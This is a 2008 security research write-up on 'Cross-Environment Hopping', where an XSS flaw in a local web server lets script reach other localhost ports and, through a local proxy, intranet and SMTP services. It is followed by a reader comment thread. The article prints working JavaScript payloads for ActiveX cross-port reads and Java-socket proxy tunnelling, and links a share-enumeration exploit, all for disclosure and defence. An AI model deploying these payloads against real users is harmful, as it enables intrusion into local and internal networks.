Prologue
Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions.
The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on.
This write-up will prove that the current implementation of same origin policy on the localhost in up-to-date Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port.
We would like to credit Rob Carter for his great work in describing the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.
Current Browser Restrictions
As browsers are designed to access a wide variety of resources, their access restrictions are essential to maintaining the security of the client. It is imperative that the browser controls information access by limiting one application from accessing resources or information from another application, that belong to a different entity.
>> Same Origin Policy:
The same origin policy is an essential element in client-side scripting (primarily JavaScript) security. A valuable component of this policy is that client-side script cannot read information originating from a different domain. While this does not prevent a browser from making cross-origin HTTP requests, it successfully limits access to the content of other domains.
The following table outlines various methods that might be used by JavaScript to communicate with external domains. While some are not restricted to the same origin, access to content is limited.
Method |
Same Origin Policy |
Content Access |
XmlHttpRequest | Yes | Yes |
Socket Connections | Yes | Yes |
IFrame Element | No | Same Origin Only |
Dynamic Form | No | Same Origin Only |
Script Element | No | JavaScript Content Only |
Image Element | No | Height/Width Value Only |
>> XML HTTP Requests
It is interesting to note that different methods of making XML HTTP requests use different components, because different browsers use different implementations. For example, Microsoft Internet Explorer supports the ActiveX component Microsoft.XMLHTTP, while the Firefox browser does not.
Not only is there a variance in the components used to make these requests, but behavior varies too. For example, the standard XMLHttpRequest object supported by both Microsoft Internet Explorer and Firefox does not support requests across different ports (on the same domain), while many of the implementations through ActiveX that are supported by Internet Explorer do. (These include MSXML2.XMLHTTP, Microsoft.XMLHTTP and various versions and derivatives of these objects.)
In Firefox and Internet Explorer 7.0, an XMLHttpRequest might be initiated using:
var xhr = new XMLHttpRequest();
In addition, in Microsoft Internet Explorer 7.0 (and earlier versions), this might be initiated using:
var xhr = new ActiveXObject("Microsoft.XMLHTTP")
While this behavior doesn't seem to have a significant impact in an Internet web environment, it has a huge impact in a desktop web environment: the localhost domain.
Cross Environment Hopping
Cross-Environment Hopping (CEH) is the technique of hopping from the Internet to a port on the victim’s computer, and then hopping from one port (environment) to another on the computer, as illustrated below.
The attack sequence might begin with a blind request (perhaps using an IFrame element) from the attacker to a cross site scripting (XSS) vulnerability on the local web server running on port A.
>> Vulnerabilities in Local Web Servers:
As a vulnerability class, XSS is very prevalent in web applications. Numerous advisories have been published about XSS issues in local web servers. As an example, our own research team has published an advisory about a XSS issue found in the local web server installed by Google Desktop (see "Overtaking Google Desktop"). We are also aware of other such vulnerabilities in local web servers, but are restricted from disclosing information at the moment.
>> Cross Application Scripting (XAS):
A second method of initiating the CEH attack is by exploiting a Cross-Application scripting (XAS) attack. This is not a new type of attack.
Cross-Application scripting (XAS) is possible when an application executes data in a security context different from the original content (presumably one with less security restrictions). For example the data may be obtained from an un-trusted source (a remote web server) that is sent unfiltered into a trusted application such as when web content is downloaded from a remote server, and then re-displayed on the local host. Any application that downloads and then later displays and executes web content (such as JavaScript) may be vulnerable to XAS (“Cross-Application Scripting”, Security.nnov.ru)
The impact of a XAS vulnerability is usually access to the Local Computer Zone. One of the suggested countermeasures against XAS is to use a local web server in order to present the information gathered by the application instead of loading it from the file system.
The fact that the browser loads a page from a local web server guarantees that even if the application doesn't properly filter out hazardous characters (i.e. it is vulnerable to a XSS attack), the Local Computer Zone won't be accessible to attackers.
However, this countermeasure against XAS means that if the desktop application web interface is vulnerable, a CEH attack is made possible.
>> Crossing Ports Using XML HTTP Requests:
After the initial request has been sent and the victim has been exploited using XSS, the attacker can deliver payloads of his choosing. If the victim is running Microsoft Internet Explorer, the attacker may send ActiveX Microsoft.XMLHTTP requests to other local web servers running on different ports. As the same origin policy does not apply to ports (on Localhost), the attacker is able to read responses and make additional requests through the exploited system.
The following Cross Site Scripting payload, demonstrates how a malicious JavaScript payload returning from a web server installed on Localhost port 80, can submit an HTTP request to a different web application, installed on Localhost port 8080, and also have access to the information returned in the HTTP response:
<script>
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
if (xmlhttp!=null)
{
xmlhttp.onreadystatechange=state_Change;
xmlhttp.open("GET","http://localhost:8080/some_page.html",true);
xmlhttp.send();
alert("Request Sent!");
}
else
{
alert("Your browser does not support XMLHTTP.")
}
function state_Change()
{
// if xmlhttp shows "loaded"
if (xmlhttp.readyState==4)
{
alert('response:'+xmlhttp.responseText);
}
}
</script>
>> Crossing Ports Using Socket Connections:
Several client-side technologies are available, which allow the browser to initiate direct socket connections. For example, Java applets, Flash, and QuickTime all allow the opening of direct socket connections with the server of the same origin. Firefox has the unique distinction that direct socket connections are allowed using Java natively within JavaScript.
The following code will open a direct socket connection to the localhost on port 9999:
socket = new java.net.Socket( "localhost", 9999 );
Exploiting this ability, the attacker can send a request that hops from the local web server to any local server that the victim is running.
Theoretical Outcome
The potential exploitation of Cross-Environment Hopping could lead to many different outcomes. This write-up will consider only a few of the possibilities available to the malicious individual.
>> Cross Web Application Access:
An attacker could use ActiveX (XMLHTTP) components to send HTTP requests to web applications running on different ports. As web applications running on other ports are unlikely to be related (on Localhost), this could lead to significant application compromise. Web applications running on Localhost are likely to contain sensitive information (e.g. Google Desktop).
>> Public Share Enumeration:
During this research, we have managed to create a working exploit that demonstrates how an attacker may enumerate any public shares on the local computer using the SMB protocol. You can download the exploit zip file in this link. (works only on Firefox)
>> Local Proxy Exploitation:
The most significant damage of all, is possible if the victim happens to be running a local proxy server. As the local proxy server is merely used to pass through network traffic, it might be possible to use the victim’s machine as a conduit for an attack against the local network.
There are numerous examples of commercial products that install an HTTP proxy on the Localhost. In our examples we installed AVAST Anti Virus (v4.7), which goes even further and allows proxying using the HTTP CONNECT method (The importance of HTTP CONNECT will be demonstrated in the section “Accessing Non-HTTP Services Using HTTP CONNECT Method”, below.)
The Cross-site Scripting payload below performs a GET request to www.intranet.site using Java socket connection in JavaScript on Firefox and exploits the proxy that is running on Localhost: (line wrapped)
<script>
var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);
var write = new java.io.DataOutputStream(new
java.io.BufferedOutputStream(sock.getOutputStream()));
var read = new java.io.DataInputStream(sock.getInputStream());
write.writeBytes
("GET http://www.intranet.site:80/ HTTP/1.0\r\n\r\n");
write.flush();
var buf1 =
java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);
len = read.read(buf1);
var resp = "";
for (i=0;i<len;i++)
{
resp += String.fromCharCode(buf1[i])
}
alert(resp);
</script>
The malicious JavaScript code has full access to the HTTP response coming from a completely different domain.
>> Accessing Non-HTTP Services Using the HTTP CONNECT Method:
Some proxy servers allow the tunneling of TCP protocols using the HTTP CONNECT method. The tunneling technique is used mostly for tunneling SSL traffic through proxies, but it can be used for tunneling all kinds of traffic.
A standard handshake for HTTP CONNECT tunneling between a client and a proxy might look like this:
Client HTTP Request:
CONNECT www.some.site:1234 HTTP/1.0 [CRLF]
User-agent: Some-Client [CRLF]
[CRLF]
Proxy Server HTTP Response:
HTTP/1.0 200 Connection established [CRLF]
Proxy-agent: Some-Proxy/1.0[CRLF]
[CRLF]
If the handshake was successful, the client is now free to communicate with www.some.site (using the service on port 1234), through the HTTP tunnel that was created.
The following Cross-site scripting example establishes a connection between the victim's computer and a remote SMTP server, using the SMTP protocol. Communication is tunneled through a locally installed proxy server that supports the HTTP CONNECT method, which avoids same-domain policy restrictions while enabling non-HTTP traffic:
<script>
var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);
var write = new java.io.DataOutputStream(new java.io.BufferedOutputStream(sock.getOutputStream()));
var read = new java.io.DataInputStream(sock.getInputStream());
var buf1 = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);
write.writeBytes("CONNECT mailserver:25\r\n\r\n");
alert("CONNECT sent");
write.flush();
read.read(buf1);
write.writeBytes("HELO mail\r\n");
alert("HELO sent");
write.flush();
len = read.read(buf1);
var resp = "";
for (i=0;i<len;i++)
{
resp += String.fromCharCode(buf1[i])
}
alert(resp);
</script>
>> Cross Environment Hopping vs. DNS Rebinding:
It is worth mentioning that while the outcome of a CEH attack is somewhat similar to that of a DNS Rebinding attack, the techniques themselves are very different. While DNS Rebinding bypasses the same origin policy to achieve its goal, Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack.
As the security industry is continuously trying to fight against DNS Rebinding (and partially succeed. see DNS Rebinding security updates in Flash and Sun's JVM), CEH attacks are more relevant than ever.
Recommendations:
- For browser and plug-in software providers:
As presented in this write-up, communication between different ports in the context of Localhost can lead to devastating results. Therefore, we believe that crossing ports on the Localhost should be restricted and bound to explicit user consent. - For the client:
The client should be very wary of installing software that runs a local web server. This write-up has shown that the restrictions in place on the local computer are not sufficient to prevent environment hopping from a vulnerable web application to other applications (not only web applications) that are running as a server. - For web application developers:
Web application security is paramount when building web applications that run in the context of a local web server. This write-up has shown that a single, simple XSS vulnerability can be exploited to gain access not only to the local web application, but to other applications and programs that are running the local machine. The responsibility involved in building such applications should be considered carefully. - For the anti-virus and local firewall software vendors
Anti-virus and local firewall software vendors should consider solutions that prevent socket and HTTP connections between web applications and different ports on the local computer.
Conclusion:
Cross-Environment Hopping can lead to the compromise of many different applications and expose some operating system features. The technique is relevant to any machine that runs a local web server.
When a machine runs a web server on more than one port, it is possible to exploit a vulnerability in one web application that leads to the compromise of a web application running on a different port entirely.
When a web server is co-hosted with other server types, the potential for exposure is dramatically increased. A vulnerability in a local web application could serve as a hopping point to open direct socket connection and exploitation of the other servers.
The research conducted so far is only a start, but highlights the dangerous potential of the technique.
Acknowledgements:
This research was performed by Yair Amit with additional help from Adi Sharabani, Danny Allan & Ory Segal.
Hello,
We have had some technical issues with the original posting of this write-up. During the process, we lost some comments from Kuza55, which I would like to present here:
>> Comment #1 >>
Interesting info on the fact that old IE controls don't check ports.
However, how does your attack work in light of the fact that Java now supposedly does a reverse DNS on the ip it gets to ensure that it is connecting to the host it's meant to be: http://sunsolve.sun.com/search/document.do?assetkey=1-26-103078-1
Flash also now requires a 'socket policy file' to be hosted by the server before allowing socket connections.
I have no idea about Quicktime though, and have never heard of it being able to open socket connections, do you have any information/code on this?
In any case, there are cooler things you can do with xss vulns in localhost like http://heasman.blogspot.com/2008/06/stealing-password-hashes-with-java-and.html and http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html
>> Comment #2 >>
Oh, and regarding the Java fix, the reason the reverse dns issue may prevent this is since (when I tested this) 127.0.0.1 has a reverse dns record of localhost.localdomain, and for me localhost.localdomain doesn't resolve...
Posted by: Ory Segal | June 23, 2008 at 01:25 PM
I still don't see how you addressed my comments about the DNS rebinding fixes.
I realise this attack has nothing to do with DNS Rebinding, however it would seem that it would be affected by the protections put in place to stop DNS Rebinding.
I tried running the LiveConnect code you posted and I get a security exception:
Error: uncaught exception: java.security.PrivilegedActionException: java.security.PrivilegedActionException: java.lang.reflect.InvocationTargetException
Now I do have a beta build of Java installed, so this may explain why I get this exception, but does it still work for you in light of the DNS Rebinding fixes in the latest Java client?
Anyway, I disagree with your comment that they are more relevant now than ever. They would more relevant if they worked as described, however while the XHR stuff works (and again, props for finding that, I looked up the docs and they flat out lie), it's not much of a win since the XHR objects aren't fixed for plain old DNS Rebinding and that works in Firefox as well as IE.
Posted by: kuza55 | June 23, 2008 at 03:19 PM
Hello kuza55,
Thank you for your comments. :)
The LiveConnect scenario was last verified to work under Firefox 3.0 with JRE Version 6 Update 6 (The latest (non-beta) version as far as I know. In matter of fact, many people probably still have Update 5 since Update 6 isn't fully deployed yet. I had to explicitly install it since the updater claims Update 5 is up-to-date).
Which code did you use in your experiment?
Please note that the code presented under the "Local Proxy Exploitation"/"Accessing Non-HTTP Services Using the HTTP CONNECT Method" sections aim to establish full-duplex intranet communication by taking advantage of a locally installed proxy server.
In order to validate the attack works, try altering the code to connect and communicate to another locally installed server on your machine (you can do this by changing the new java.net.Socket(…) and write.writeBytes(…) according to the service you connect to).
I'll be happy to read your remarks in case the beta version of the JRE does not handle the code as expected.
Regarding the recent protections against DNS Rebinding attacks in the JRE:
In a DNS Rebinding, the attack starts in an attacker controlled IP (in that point, malicious content/scripts are loaded) and then the attack fools the browser/plug-ins to execute the malicious commands under a sensitive context (local machine / local network) – the same origin policy is practically circumvented.
As far as I know, the protection tries to make sure the content (Java applet, for example) is in fact originating from the final IP before executing it.
Since Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack, when malicious LiveConnect code is loaded and executed it is all done from the localhost and therefore looks 'legitimate' to the infrastructure…
Posted by: Yair Amit | June 23, 2008 at 04:44 PM
I used the second block of script code when testing, and the socket call raised the exception I listed, so it won't let me connect anywhere.
The protections *are* just trying to make sure that you can actually host content on that IP, but the how of that should prevent this from happening.
E.g. in Java (it says) it does a reverse dns lookup on the ip then checks that it matches the domain we're trying to connect to, and like I said 127.0.0.1 resolves to localhost.localdomain which itself does not resolve and in Flash (it says) you need a socket file somewhere.
Posted by: kuza55 | June 24, 2008 at 03:45 AM
kuza55--
Most, though indeed not all nameservers reverse 127.0.0.1 back to localhost. Many resolvers are also open, so if you get the occasional localhost.oogabooga.com or localhost.localdomain, you can just XSS the user against http://localhost.oogabooga.com.
I wouldn't have thought it, but it does appear the Flash protections ended up stronger than Java's.
; > DiG 9.2.5 > @209.97.223.122 1.0.0.127.in-addr.arpa ptr
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER> DiG 9.2.5 > @216.125.212.81 1.0.0.127.in-addr.arpa ptr
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER> DiG 9.2.5 > @66.77.162.45 1.0.0.127.in-addr.arpa ptr
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER> DiG 9.2.5 > @63.196.15.67 1.0.0.127.in-addr.arpa ptr
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40157
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;1.0.0.127.in-addr.arpa. IN PTR
;; ANSWER SECTION:
1.0.0.127.in-addr.arpa. 3600 IN PTR localhost.
Posted by: Dan Kaminsky | June 24, 2008 at 09:29 AM
Er, those digs got munched. Suffice it to say most servers look exactly like that last one.
Posted by: Dan Kaminsky | June 24, 2008 at 09:30 AM
Thanks Dan, that helps clear things up :)
Posted by: kuza55 | June 25, 2008 at 09:51 AM
Hi,
Here's probably the world's worst description of CEH.
http://www.0x000000.com/?i=602
Posted by: Ory Segal | July 01, 2008 at 05:13 PM
It's not a description that is at fault, it's the layout of the mechanics beneath it that confuses some and the buzzwords I read here, in my opinion.
I guess everyone here needs to read again the real meaning of tricking victims in launching this attack and which techniques are being used. For instance, the vehicle is still CSRF, with XSS -or- SQL injection as payload. I wrote before that SQL inecting local servers is a piece of cake. Let alone injecting PHP shells -I did some research about this in 2006- Which can be used to 'hop' a network also.
I assume everyone was knowledgable about the risks involving local services that listen on TCP ports like 80, 8080 -in the case of a proxy- Let alone the SQL ports which I don't see you talk about? And services like Java, Flash, or JS for that matter are still running locally abusing other vulnerable services through an unautorized request. That still makes CSRF it's vehicle for attack.
Of course, with a local proxy or insecure local webserver and/or insecure databases like SQLlite it's the end of your security defacto.
So what's new here?
Posted by: rvdh | July 04, 2008 at 02:33 AM
Here's what I talked about before:
http://www.0x000000.com/index.php?i=525
Somewhat exotic, but basically does the same. Not to mention abusing NamedPipes in the same breath, on which I talked a couple of times also.
Still, it stays CSRF :)
Posted by: rvdh | July 04, 2008 at 02:53 AM